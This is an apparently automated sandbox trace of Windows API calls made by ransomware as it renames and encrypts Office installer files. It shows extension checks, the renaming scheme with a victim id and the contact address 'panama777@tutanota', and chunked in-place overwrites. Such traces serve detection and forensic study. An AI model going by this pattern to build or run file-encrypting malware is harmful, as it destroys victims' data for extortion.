	[0050.040] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ose.exe") returned 70
	[0050.040] lstrlenW (lpString=".jpg") returned 4
	[0050.040] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1
	[0050.040] lstrcmpiW (lpString1=".cab", lpString2=".Acuf2") returned 1
	[0050.040] lstrlenW (lpString="OWOW32WW.cab") returned 12
	[0050.040] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\owow32ww.cab"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x158
	[0050.041] GetFileSizeEx (in: hFile=0x158, lpFileSize=0x38fff1c | out: lpFileSize=0x38fff1c*=36233052) returned 1
	[0050.041] CloseHandle (hObject=0x158) returned 1
	[0050.041] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\owow32ww.cab")) returned 0x2020
	[0050.041] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\owow32ww.cab.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0050.041] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\owow32ww.cab"), lpNewFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\owow32ww.cab.id-9c354b42.[panama777@tutanota].acuf2")) returned 1
	[0050.041] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\owow32ww.cab.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x158
	[0050.041] SetFilePointerEx (in: hFile=0x158, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38ffc6c | out: lpNewFilePointer=0x0) returned 1
	[0050.041] SetFilePointerEx (in: hFile=0x158, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38ffc2c | out: lpNewFilePointer=0x0) returned 1
	[0050.042] ReadFile (in: hFile=0x158, lpBuffer=0x3d70058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x38ffc38, lpOverlapped=0x0 | out: lpBuffer=0x3d70058*, lpNumberOfBytesRead=0x38ffc38*=0x40000, lpOverlapped=0x0) returned 1
	[0050.232] SetFilePointerEx (in: hFile=0x158, liDistanceToMove=0xb84a74, lpNewFilePointer=0x0, dwMoveMethod=0x38ffc2c | out: lpNewFilePointer=0x0) returned 1
	[0050.232] ReadFile (in: hFile=0x158, lpBuffer=0x3db0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x38ffc38, lpOverlapped=0x0 | out: lpBuffer=0x3db0058*, lpNumberOfBytesRead=0x38ffc38*=0x40000, lpOverlapped=0x0) returned 1
	[0050.236] SetFilePointerEx (in: hFile=0x158, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x38ffc6c | out: lpNewFilePointer=0xffffffff) returned 1
	[0050.236] SetFilePointerEx (in: hFile=0x158, liDistanceToMove=0x224df5c, lpNewFilePointer=0x0, dwMoveMethod=0x38ffc2c | out: lpNewFilePointer=0x0) returned 1
	[0050.236] ReadFile (in: hFile=0x158, lpBuffer=0x3df0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x38ffc38, lpOverlapped=0x0 | out: lpBuffer=0x3df0058*, lpNumberOfBytesRead=0x38ffc38*=0x40000, lpOverlapped=0x0) returned 1
	[0050.252] SetFilePointerEx (in: hFile=0x158, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38ffec8 | out: lpNewFilePointer=0x0) returned 1
	[0050.252] WriteFile (in: hFile=0x158, lpBuffer=0x3d70020*, nNumberOfBytesToWrite=0xc0104, lpNumberOfBytesWritten=0x38ffcb0, lpOverlapped=0x0 | out: lpBuffer=0x3d70020*, lpNumberOfBytesWritten=0x38ffcb0*=0xc0104, lpOverlapped=0x0) returned 1
	[0050.275] SetEndOfFile (hFile=0x158) returned 1
	[0050.275] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x40000) returned 0x3f937f0
	[0050.276] SetFilePointerEx (in: hFile=0x158, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38ffc7c | out: lpNewFilePointer=0x0) returned 1
	[0050.276] WriteFile (in: hFile=0x158, lpBuffer=0x3f937f0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x38ffc88, lpOverlapped=0x0 | out: lpBuffer=0x3f937f0*, lpNumberOfBytesWritten=0x38ffc88*=0x40000, lpOverlapped=0x0) returned 1
	[0050.277] SetFilePointerEx (in: hFile=0x158, liDistanceToMove=0xb84a74, lpNewFilePointer=0x0, dwMoveMethod=0x38ffc7c | out: lpNewFilePointer=0x0) returned 1
	[0050.277] WriteFile (in: hFile=0x158, lpBuffer=0x3f937f0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x38ffc88, lpOverlapped=0x0 | out: lpBuffer=0x3f937f0*, lpNumberOfBytesWritten=0x38ffc88*=0x40000, lpOverlapped=0x0) returned 1
	[0050.628] SetFilePointerEx (in: hFile=0x158, liDistanceToMove=0x224df5c, lpNewFilePointer=0x0, dwMoveMethod=0x38ffc7c | out: lpNewFilePointer=0x0) returned 1
	[0050.637] WriteFile (in: hFile=0x158, lpBuffer=0x3f937f0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x38ffc88, lpOverlapped=0x0 | out: lpBuffer=0x3f937f0*, lpNumberOfBytesWritten=0x38ffc88*=0x40000, lpOverlapped=0x0) returned 1
	[0050.642] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x3f937f0 | out: hHeap=0x4f0000) returned 1
	[0050.645] CloseHandle (hObject=0x158) returned 1
	[0050.645] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x2020) returned 1
	[0050.646] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab") returned 75
	[0050.646] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab") returned 75
	[0050.646] lstrlenW (lpString=".doc") returned 4
	[0050.646] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1
	[0050.646] lstrlenW (lpString=".docx") returned 5
	[0050.646] lstrcmpiW (lpString1=".docx", lpString2="W.cab") returned -1
	[0050.646] lstrlenW (lpString=".pdf") returned 4
	[0050.646] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1
	[0050.646] lstrlenW (lpString=".xls") returned 4
	[0050.646] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1
	[0050.646] lstrlenW (lpString=".xlsx") returned 5
	[0050.646] lstrcmpiW (lpString1=".xlsx", lpString2="W.cab") returned -1
	[0050.646] lstrlenW (lpString=".ppt") returned 4
	[0050.646] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1
	[0050.646] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab") returned 75
	[0050.646] lstrlenW (lpString=".zip") returned 4
	[0050.646] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1
	[0050.646] lstrlenW (lpString=".rar") returned 4
	[0050.646] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1
	[0050.646] lstrlenW (lpString=".bz2") returned 4
	[0050.646] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1
	[0050.646] lstrlenW (lpString=".7z") returned 3
	[0050.646] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1
	[0050.646] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab") returned 75
	[0050.646] lstrlenW (lpString=".dbf") returned 4
	[0050.647] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1
	[0050.647] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab") returned 75
	[0050.647] lstrlenW (lpString=".1cd") returned 4
	[0050.647] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1
	[0050.647] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab") returned 75
	[0050.647] lstrlenW (lpString=".jpg") returned 4
	[0050.647] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1
	[0050.647] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab") returned 75
	[0050.647] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab") returned 75
	[0050.647] lstrlenW (lpString=".doc") returned 4
	[0050.647] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1
	[0050.647] lstrlenW (lpString=".docx") returned 5
	[0050.647] lstrcmpiW (lpString1=".docx", lpString2="W.cab") returned -1
	[0050.647] lstrlenW (lpString=".pdf") returned 4
	[0050.647] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1
	[0050.647] lstrlenW (lpString=".xls") returned 4
	[0050.647] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1
	[0050.647] lstrlenW (lpString=".xlsx") returned 5
	[0050.647] lstrcmpiW (lpString1=".xlsx", lpString2="W.cab") returned -1
	[0050.647] lstrlenW (lpString=".ppt") returned 4
	[0050.647] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1
	[0050.647] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab") returned 75
	[0050.647] lstrlenW (lpString=".zip") returned 4
	[0050.647] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1
	[0050.647] lstrlenW (lpString=".rar") returned 4
	[0050.647] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1
	[0050.647] lstrlenW (lpString=".bz2") returned 4
	[0050.647] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1
	[0050.647] lstrlenW (lpString=".7z") returned 3
	[0050.647] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1
	[0050.647] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab") returned 75
	[0050.648] lstrlenW (lpString=".dbf") returned 4
	[0050.648] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1
	[0050.648] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab") returned 75
	[0050.648] lstrlenW (lpString=".1cd") returned 4
	[0050.648] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1
	[0050.648] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab") returned 75
	[0050.648] lstrlenW (lpString=".jpg") returned 4
	[0050.648] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1
	[0050.648] lstrcmpiW (lpString1=".cab", lpString2=".Acuf2") returned 1
	[0050.648] lstrlenW (lpString="ProPrWW2.cab") returned 12
	[0050.648] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW2.cab" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\proprww2.cab"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x158
	[0050.648] GetFileSizeEx (in: hFile=0x158, lpFileSize=0x38fff1c | out: lpFileSize=0x38fff1c*=222948913) returned 1
	[0050.648] CloseHandle (hObject=0x158) returned 1
	[0050.648] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW2.cab" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\proprww2.cab")) returned 0x2020
	[0050.648] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW2.cab.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\proprww2.cab.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0050.649] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW2.cab" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\proprww2.cab"), lpNewFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW2.cab.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\proprww2.cab.id-9c354b42.[panama777@tutanota].acuf2")) returned 1
	[0050.649] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW2.cab.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\proprww2.cab.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x158
	[0050.649] SetFilePointerEx (in: hFile=0x158, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38ffc6c | out: lpNewFilePointer=0x0) returned 1
	[0050.649] SetFilePointerEx (in: hFile=0x158, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38ffc2c | out: lpNewFilePointer=0x0) returned 1
	[0050.649] ReadFile (in: hFile=0x158, lpBuffer=0x3d70058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x38ffc38, lpOverlapped=0x0 | out: lpBuffer=0x3d70058*, lpNumberOfBytesRead=0x38ffc38*=0x40000, lpOverlapped=0x0) returned 1
	[0050.656] SetFilePointerEx (in: hFile=0x158, liDistanceToMove=0x46dfa10, lpNewFilePointer=0x0, dwMoveMethod=0x38ffc2c | out: lpNewFilePointer=0x0) returned 1
	[0050.656] ReadFile (in: hFile=0x158, lpBuffer=0x3db0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x38ffc38, lpOverlapped=0x0 | out: lpBuffer=0x3db0058*, lpNumberOfBytesRead=0x38ffc38*=0x40000, lpOverlapped=0x0) returned 1
	[0050.661] SetFilePointerEx (in: hFile=0x158, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x38ffc6c | out: lpNewFilePointer=0xffffffff) returned 1
	[0050.661] SetFilePointerEx (in: hFile=0x158, liDistanceToMove=0xd45ee31, lpNewFilePointer=0x0, dwMoveMethod=0x38ffc2c | out: lpNewFilePointer=0x0) returned 1
	[0050.661] ReadFile (in: hFile=0x158, lpBuffer=0x3df0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x38ffc38, lpOverlapped=0x0 | out: lpBuffer=0x3df0058*, lpNumberOfBytesRead=0x38ffc38*=0x40000, lpOverlapped=0x0) returned 1
	[0050.679] SetFilePointerEx (in: hFile=0x158, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38ffec8 | out: lpNewFilePointer=0x0) returned 1
	[0050.679] WriteFile (in: hFile=0x158, lpBuffer=0x3d70020*, nNumberOfBytesToWrite=0xc0104, lpNumberOfBytesWritten=0x38ffcb0, lpOverlapped=0x0 | out: lpBuffer=0x3d70020*, lpNumberOfBytesWritten=0x38ffcb0*=0xc0104, lpOverlapped=0x0) returned 1
	[0050.896] SetEndOfFile (hFile=0x158) returned 1
	[0050.896] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x40000) returned 0x3fb3800
	[0050.920] SetFilePointerEx (in: hFile=0x158, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38ffc7c | out: lpNewFilePointer=0x0) returned 1
	[0050.920] WriteFile (in: hFile=0x158, lpBuffer=0x3fb3800*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x38ffc88, lpOverlapped=0x0 | out: lpBuffer=0x3fb3800*, lpNumberOfBytesWritten=0x38ffc88*=0x40000, lpOverlapped=0x0) returned 1
	[0050.921] SetFilePointerEx (in: hFile=0x158, liDistanceToMove=0x46dfa10, lpNewFilePointer=0x0, dwMoveMethod=0x38ffc7c | out: lpNewFilePointer=0x0) returned 1
	[0050.921] WriteFile (in: hFile=0x158, lpBuffer=0x3fb3800*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x38ffc88, lpOverlapped=0x0 | out: lpBuffer=0x3fb3800*, lpNumberOfBytesWritten=0x38ffc88*=0x40000, lpOverlapped=0x0) returned 1
	[0050.924] SetFilePointerEx (in: hFile=0x158, liDistanceToMove=0xd45ee31, lpNewFilePointer=0x0, dwMoveMethod=0x38ffc7c | out: lpNewFilePointer=0x0) returned 1
	[0050.924] WriteFile (in: hFile=0x158, lpBuffer=0x3fb3800*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x38ffc88, lpOverlapped=0x0 | out: lpBuffer=0x3fb3800*, lpNumberOfBytesWritten=0x38ffc88*=0x40000, lpOverlapped=0x0) returned 1
	[0050.926] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x3fb3800 | out: hHeap=0x4f0000) returned 1
	[0050.926] CloseHandle (hObject=0x158) returned 1
	[0050.926] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW2.cab.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x2020) returned 1
	[0050.926] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW2.cab") returned 75
	[0050.926] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW2.cab") returned 75
	[0050.926] lstrlenW (lpString=".doc") returned 4
	[0050.926] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1
	[0050.926] lstrlenW (lpString=".docx") returned 5
	[0050.926] lstrcmpiW (lpString1=".docx", lpString2="2.cab") returned -1
	[0050.927] lstrlenW (lpString=".pdf") returned 4
	[0050.927] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1
	[0050.927] lstrlenW (lpString=".xls") returned 4
	[0050.927] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1
	[0050.927] lstrlenW (lpString=".xlsx") returned 5
	[0050.927] lstrcmpiW (lpString1=".xlsx", lpString2="2.cab") returned -1
	[0050.927] lstrlenW (lpString=".ppt") returned 4
	[0050.927] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1
	[0050.927] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW2.cab") returned 75
	[0050.927] lstrlenW (lpString=".zip") returned 4
	[0050.927] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1
	[0050.927] lstrlenW (lpString=".rar") returned 4
	[0050.927] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1
	[0050.927] lstrlenW (lpString=".bz2") returned 4
	[0050.927] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1
	[0050.927] lstrlenW (lpString=".7z") returned 3
	[0050.927] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1
	[0050.927] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW2.cab") returned 75
	[0050.927] lstrlenW (lpString=".dbf") returned 4
	[0050.927] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1
	[0050.927] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW2.cab") returned 75
	[0050.927] lstrlenW (lpString=".1cd") returned 4
	[0050.927] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1
	[0050.927] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW2.cab") returned 75
	[0050.927] lstrlenW (lpString=".jpg") returned 4
	[0050.927] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1
	[0050.927] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW2.cab") returned 75
	[0050.927] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW2.cab") returned 75
	[0050.927] lstrlenW (lpString=".doc") returned 4
	[0050.927] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1
	[0050.928] lstrlenW (lpString=".docx") returned 5
	[0050.928] lstrcmpiW (lpString1=".docx", lpString2="2.cab") returned -1
	[0050.928] lstrlenW (lpString=".pdf") returned 4
	[0050.928] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1
	[0050.928] lstrlenW (lpString=".xls") returned 4
	[0050.928] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1
	[0050.928] lstrlenW (lpString=".xlsx") returned 5
	[0050.928] lstrcmpiW (lpString1=".xlsx", lpString2="2.cab") returned -1
	[0050.928] lstrlenW (lpString=".ppt") returned 4
	[0050.928] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1
	[0050.928] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW2.cab") returned 75
	[0050.928] lstrlenW (lpString=".zip") returned 4
	[0050.928] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1
	[0050.928] lstrlenW (lpString=".rar") returned 4
	[0050.928] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1
	[0050.928] lstrlenW (lpString=".bz2") returned 4
	[0050.928] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1
	[0050.928] lstrlenW (lpString=".7z") returned 3
	[0050.928] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1
	[0050.928] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW2.cab") returned 75
	[0050.928] lstrlenW (lpString=".dbf") returned 4
	[0050.928] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1
	[0050.928] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW2.cab") returned 75
	[0050.928] lstrlenW (lpString=".1cd") returned 4
	[0050.928] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1
	[0050.928] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW2.cab") returned 75
	[0050.928] lstrlenW (lpString=".jpg") returned 4
	[0050.928] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1
	[0050.929] lstrcmpiW (lpString1=".exe", lpString2=".Acuf2") returned 1
	[0050.929] lstrlenW (lpString="ose.exe") returned 7
	[0050.929] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\ose.exe" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\ose.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x158
	[0050.929] GetFileSizeEx (in: hFile=0x158, lpFileSize=0x38fff1c | out: lpFileSize=0x38fff1c*=174440) returned 1
	[0050.929] CloseHandle (hObject=0x158) returned 1
	[0050.929] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\ose.exe" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\ose.exe")) returned 0x2020
	[0050.930] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\ose.exe.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\ose.exe.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0050.930] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\ose.exe" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\ose.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x158
	[0050.930] SetFilePointerEx (in: hFile=0x158, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38ffec8 | out: lpNewFilePointer=0x0) returned 1
	[0050.930] SetFilePointerEx (in: hFile=0x158, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38ffec8 | out: lpNewFilePointer=0x0) returned 1
	[0050.930] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\ose.exe.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\ose.exe.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a4
	[0050.930] GetLastError () returned 0x0
	[0050.930] ReadFile (in: hFile=0x158, lpBuffer=0x3d70020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38ffed4, lpOverlapped=0x0 | out: lpBuffer=0x3d70020*, lpNumberOfBytesRead=0x38ffed4*=0x2a968, lpOverlapped=0x0) returned 1
	[0050.934] WriteFile (in: hFile=0x1a4, lpBuffer=0x3d70020*, nNumberOfBytesToWrite=0x2a970, lpNumberOfBytesWritten=0x38ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d70020*, lpNumberOfBytesWritten=0x38ffc9c*=0x2a970, lpOverlapped=0x0) returned 1
	[0050.938] ReadFile (in: hFile=0x158, lpBuffer=0x3d70020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38ffed4, lpOverlapped=0x0 | out: lpBuffer=0x3d70020*, lpNumberOfBytesRead=0x38ffed4*=0x0, lpOverlapped=0x0) returned 1
	[0050.938] WriteFile (in: hFile=0x1a4, lpBuffer=0x3d70020*, nNumberOfBytesToWrite=0xe2, lpNumberOfBytesWritten=0x38ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d70020*, lpNumberOfBytesWritten=0x38ffc9c*=0xe2, lpOverlapped=0x0) returned 1
	[0050.939] SetEndOfFile (hFile=0x1a4) returned 1
	[0050.939] CloseHandle (hObject=0x1a4) returned 1
	[0050.939] SetFilePointerEx (in: hFile=0x158, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38ffec8 | out: lpNewFilePointer=0x0) returned 1
	[0050.939] SetEndOfFile (hFile=0x158) returned 1
	[0050.941] CloseHandle (hObject=0x158) returned 1
	[0050.941] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\ose.exe.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x2020) returned 1
